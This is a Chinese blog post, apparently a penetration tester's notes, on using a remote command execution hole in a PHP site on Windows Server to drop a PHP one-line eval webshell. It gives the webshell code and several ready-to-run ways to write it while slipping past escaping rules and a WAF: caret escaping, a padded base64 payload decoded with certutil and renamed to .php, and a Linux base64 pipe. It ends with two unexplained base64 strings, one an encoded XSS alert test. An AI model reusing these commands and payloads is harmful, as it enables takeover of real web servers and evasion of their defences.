情景描述
今天早上在研究一个Web系统的0Day,虽然是个任意命令执行漏洞,但是这个RCE有些局限,就想通过RCE写个WebShell提提权再看看
目标系统:Microsoft Windows Server 2019 Standard
动态脚本:PHP 5.6
GetShell姿势
通常我们写入文件,通常都会使用CMD的echo
命令
echo 文件内容 > "文件名"
假如我们要写php
一句话的时候,比如:
<?php eval($_POST["aabyss"]); ?>
这时候有同学就想到这样不就好了:
echo <?php eval($_POST["aabyss"]);?> > "webshell.php"
但实际上这样是不行的,因为以下特殊符号是无法直接放入echo
语句(执行会提示语法错误或者无法写入这些符号):
& | > < +
所以通常我们会把特殊符号通过^
来进行转义,比如这样:
echo ^<?php eval($_POST["aabyss"]);?^> > "webshell.php"
通常就能写入了
难点来了
但是我早上尝试的那个0day,语句没办法通过^
进行转义,或者写入的流量被WAF拦截,怎么办呢?
首先,我想到了通过""
双引号进行包含进行写入,比如:
echo echo "<?php eval($_POST["aabyss"]);?>" > "webshell.php"
文件内容如下:
"<?php eval($_POST["aabyss"]);?>"
这样虽然能写入& | > < +
这些特殊符号,但是代码最外层带了""
,实测php
代码是无法执行的
于是我又想到了Base64编码进行写入,首先对一句话内容进行base编码:
于是得到编码后的Base64字符串
,如下:
PD9waHAgZXZhbCgkX1BPU1RbImFhYnlzcyJdKTsgID8+
但是通过上文,我们发现+
也是不能写入的,怎么办呢?
这时候插入在外部插入一些数字就能简单解决啦:
这时候就得到一份做好的Base64字符串
:
MTw/cGhwIGV2YWwoJF9QT1NUWyJhYWJ5c3MiXSk7ICA/PjEy
接下来通过echo
将Base64字符串
写入TXT文件即可:
echo MTw/cGhwIGV2YWwoJF9QT1NUWyJhYWJ5c3MiXSk7ICA/PjEy > "base64.txt"
接下来通过命令进行解密:
certutil -f -decode "base64.txt" "webshell.txt"
然后将webshell.txt
复制为php
文件即可大功告成:
copy webshell.txt webshell.php
其他一些tips
对于Linux系统,可以采用系统命令直接解密Base64来写入:
echo 'MTw/cGhwIGV2YWwoJF9QT1NUWyJhYWJ5c3MiXSk7ICA/PjEy' | base64 -d > webshell.php
查看当前目录:
cd
解密Base64文件到上层目录:
certutil -f -decode "base64.txt" "../webshell.txt"
将命令输入内容写入文件查看:
命令 >> out.txt
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
emVuZyBnZSBuaXUgYmk=